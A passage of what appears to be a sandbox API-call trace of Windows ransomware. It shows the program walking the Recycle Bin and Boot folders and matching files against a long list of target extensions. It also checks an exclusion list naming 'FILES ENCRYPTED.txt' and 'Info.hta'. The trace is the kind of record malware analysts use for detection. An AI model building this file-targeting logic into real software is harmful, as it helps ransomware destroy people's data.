lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0040.257] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600d50 [0040.258] FindNextFileW (in: hFindFile=0x600d50, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.258] FindNextFileW (in: hFindFile=0x600d50, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0040.259] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0040.259] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0040.259] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0040.259] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0040.259] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39206d0 [0040.259] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0040.259] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x601d98 [0040.259] FindNextFileW (in: hFindFile=0x601d98, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.259] FindNextFileW (in: hFindFile=0x601d98, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0040.259] lstrlenW (lpString="desktop.ini") returned 11 [0040.259] lstrlenW (lpString=".1cd") returned 4 [0040.259] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0040.259] lstrlenW (lpString=".3ds") returned 4 [0040.259] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0040.259] lstrlenW (lpString=".3fr") returned 4 [0040.259] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".3g2") returned 4 [0040.260] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".3gp") returned 4 [0040.260] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".7z") returned 3 [0040.260] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0040.260] lstrlenW (lpString=".accda") returned 6 [0040.260] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0040.260] lstrlenW (lpString=".accdb") returned 6 [0040.260] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0040.260] lstrlenW (lpString=".accdc") returned 6 [0040.260] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0040.260] lstrlenW (lpString=".accde") returned 6 [0040.260] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0040.260] lstrlenW (lpString=".accdt") returned 6 [0040.260] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0040.260] lstrlenW (lpString=".accdw") returned 6 [0040.260] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0040.260] lstrlenW (lpString=".adb") returned 4 [0040.260] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".adp") returned 4 [0040.260] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".ai") returned 3 [0040.260] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0040.260] lstrlenW (lpString=".ai3") returned 4 [0040.260] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".ai4") returned 4 [0040.260] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".ai5") returned 4 [0040.260] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".ai6") returned 4 [0040.260] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0040.260] lstrlenW (lpString=".ai7") returned 4 [0040.260] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".ai8") returned 4 [0040.261] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".anim") returned 5 [0040.261] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0040.261] lstrlenW (lpString=".arw") returned 4 [0040.261] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".as") returned 3 [0040.261] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0040.261] lstrlenW (lpString=".asa") returned 4 [0040.261] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".asc") returned 4 [0040.261] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".ascx") returned 5 [0040.261] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0040.261] lstrlenW (lpString=".asm") returned 4 [0040.261] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".asmx") returned 5 [0040.261] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0040.261] lstrlenW (lpString=".asp") returned 4 [0040.261] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".aspx") returned 5 [0040.261] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0040.261] lstrlenW (lpString=".asr") returned 4 [0040.261] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".asx") returned 4 [0040.261] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".avi") returned 4 [0040.261] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".avs") returned 4 [0040.261] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0040.261] lstrlenW (lpString=".backup") returned 7 [0040.261] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0040.262] lstrlenW (lpString=".bak") returned 4 [0040.262] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".bay") returned 4 [0040.262] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".bd") returned 3 [0040.262] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0040.262] lstrlenW (lpString=".bin") returned 4 [0040.262] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".bmp") returned 4 [0040.262] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".bz2") returned 4 [0040.262] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".c") returned 2 [0040.262] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0040.262] lstrlenW (lpString=".cdr") returned 4 [0040.262] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".cer") returned 4 [0040.262] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".cf") returned 3 [0040.262] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0040.262] lstrlenW (lpString=".cfc") returned 4 [0040.262] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".cfm") returned 4 [0040.262] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".cfml") returned 5 [0040.262] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0040.262] lstrlenW (lpString=".cfu") returned 4 [0040.262] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".chm") returned 4 [0040.262] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".cin") returned 4 [0040.262] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0040.262] lstrlenW (lpString=".class") returned 6 [0040.262] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0040.263] lstrlenW (lpString=".clx") returned 4 [0040.263] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".config") returned 7 [0040.263] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0040.263] lstrlenW (lpString=".cpp") returned 4 [0040.263] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".cr2") returned 4 [0040.263] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".crt") returned 4 [0040.263] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".crw") returned 4 [0040.263] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".cs") returned 3 [0040.263] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0040.263] lstrlenW (lpString=".css") returned 4 [0040.263] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".csv") returned 4 [0040.263] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".cub") returned 4 [0040.263] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".dae") returned 4 [0040.263] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".dat") returned 4 [0040.263] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".db") returned 3 [0040.263] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0040.263] lstrlenW (lpString=".dbf") returned 4 [0040.263] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".dbx") returned 4 [0040.263] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".dc3") returned 4 [0040.263] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0040.263] lstrlenW (lpString=".dcm") returned 4 [0040.263] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".dcr") returned 4 [0040.264] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".der") returned 4 [0040.264] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".dib") returned 4 [0040.264] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".dic") returned 4 [0040.264] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".dif") returned 4 [0040.264] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".divx") returned 5 [0040.264] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0040.264] lstrlenW (lpString=".djvu") returned 5 [0040.264] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0040.264] lstrlenW (lpString=".dng") returned 4 [0040.264] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".doc") returned 4 [0040.264] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".docm") returned 5 [0040.264] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0040.264] lstrlenW (lpString=".docx") returned 5 [0040.264] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0040.264] lstrlenW (lpString=".dot") returned 4 [0040.264] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".dotm") returned 5 [0040.264] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0040.264] lstrlenW (lpString=".dotx") returned 5 [0040.264] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0040.264] lstrlenW (lpString=".dpx") returned 4 [0040.264] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".dqy") returned 4 [0040.264] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0040.264] lstrlenW (lpString=".dsn") returned 4 [0040.264] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".dt") returned 3 [0040.265] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0040.265] lstrlenW (lpString=".dtd") returned 4 [0040.265] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".dwg") returned 4 [0040.265] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".dwt") returned 4 [0040.265] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".dx") returned 3 [0040.265] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0040.265] lstrlenW (lpString=".dxf") returned 4 [0040.265] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".edml") returned 5 [0040.265] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0040.265] lstrlenW (lpString=".efd") returned 4 [0040.265] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".elf") returned 4 [0040.265] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".emf") returned 4 [0040.265] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".emz") returned 4 [0040.265] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".epf") returned 4 [0040.265] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".eps") returned 4 [0040.265] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".epsf") returned 5 [0040.265] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0040.265] lstrlenW (lpString=".epsp") returned 5 [0040.265] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0040.265] lstrlenW (lpString=".erf") returned 4 [0040.265] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0040.265] lstrlenW (lpString=".exr") returned 4 [0040.265] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".f4v") returned 4 [0040.266] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".fido") returned 5 [0040.266] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0040.266] lstrlenW (lpString=".flm") returned 4 [0040.266] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".flv") returned 4 [0040.266] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".frm") returned 4 [0040.266] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".fxg") returned 4 [0040.266] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".geo") returned 4 [0040.266] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".gif") returned 4 [0040.266] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".grs") returned 4 [0040.266] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".gz") returned 3 [0040.266] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0040.266] lstrlenW (lpString=".h") returned 2 [0040.266] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0040.266] lstrlenW (lpString=".hdr") returned 4 [0040.266] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".hpp") returned 4 [0040.266] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".hta") returned 4 [0040.266] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".htc") returned 4 [0040.266] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".htm") returned 4 [0040.266] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0040.266] lstrlenW (lpString=".html") returned 5 [0040.267] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0040.267] lstrlenW (lpString=".icb") returned 4 [0040.267] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0040.267] lstrlenW (lpString=".ics") returned 4 [0040.267] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0040.267] lstrlenW (lpString=".iff") returned 4 [0040.267] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0040.267] lstrlenW (lpString=".inc") returned 4 [0040.267] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0040.267] lstrlenW (lpString=".indd") returned 5 [0040.267] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0040.267] lstrlenW (lpString=".ini") returned 4 [0040.267] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0040.267] lstrlenW (lpString="desktop.ini") returned 11 [0040.267] lstrlenW (lpString=".asd") returned 4 [0040.267] lstrcmpiW (lpString1=".asd", lpString2=".ini") returned -1 [0040.267] lstrlenW (lpString="desktop.ini") returned 11 [0040.267] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0040.267] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0040.267] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0040.267] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0040.267] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0040.267] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0040.267] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0040.267] lstrcmpiW (lpString1="1с_.exe", lpString2="desktop.ini") returned -1 [0040.267] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0040.267] FindNextFileW (in: hFindFile=0x601d98, lpFindFileData=0x33ff808 | out: lpFindFileData=0x33ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0040.267] FindClose (in: hFindFile=0x601d98 | out: hFindFile=0x601d98) returned 1 [0040.268] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39206d0 | out: hHeap=0x510000) returned 1 [0040.268] FindNextFileW (in: hFindFile=0x600d50, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0040.268] FindClose (in: hFindFile=0x600d50 | out: hFindFile=0x600d50) returned 1 [0040.268] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39106c8 | out: hHeap=0x510000) returned 1 [0040.268] FindNextFileW (in: hFindFile=0x561010, lpFindFileData=0x33ffd00 | out: lpFindFileData=0x33ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0040.268] lstrlenW (lpString="C:\\Boot") returned 7 [0040.268] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0040.268] lstrlenW (lpString="Boot") returned 4 [0040.268] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0040.268] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39106c8 [0040.268] lstrlenW (lpString="C:\\Boot") returned 7 [0040.268] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x601d58 [0040.268] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.268] FindNextFileW (in: hFindFile=0x601d58, lpFindFileData=0x33ffa84 | out: lpFindFileData=0x33ffa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0040.268] lstrlenW (lpString="BCD") returned 3 [0040.268] lstrlenW (lpString=".1cd") returned 4 [0040.268] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0040.268] lstrlenW (lpString=".3ds") returned 4 [0040.268] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0040.268] lstrlenW (lpString=".3fr") returned 4 [0040.269] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".3g2") returned 4 [0040.269] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".3gp") returned 4 [0040.269] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".7z") returned 3 [0040.269] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0040.269] lstrlenW (lpString=".accda") returned 6 [0040.269] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".accdb") returned 6 [0040.269] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".accdc") returned 6 [0040.269] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".accde") returned 6 [0040.269] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".accdt") returned 6 [0040.269] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".accdw") returned 6 [0040.269] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".adb") returned 4 [0040.269] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".adp") returned 4 [0040.269] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".ai") returned 3 [0040.269] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0040.269] lstrlenW (lpString=".ai3") returned 4 [0040.269] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".ai4") returned 4 [0040.269] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".ai5") returned 4 [0040.269] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0040.269] lstrlenW (lpString=".ai6") returned 4 [0040.269] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".ai7") returned 4 [0040.270] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".ai8") returned 4 [0040.270] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".anim") returned 5 [0040.270] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0040.270] lstrlenW (lpString=".arw") returned 4 [0040.270] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 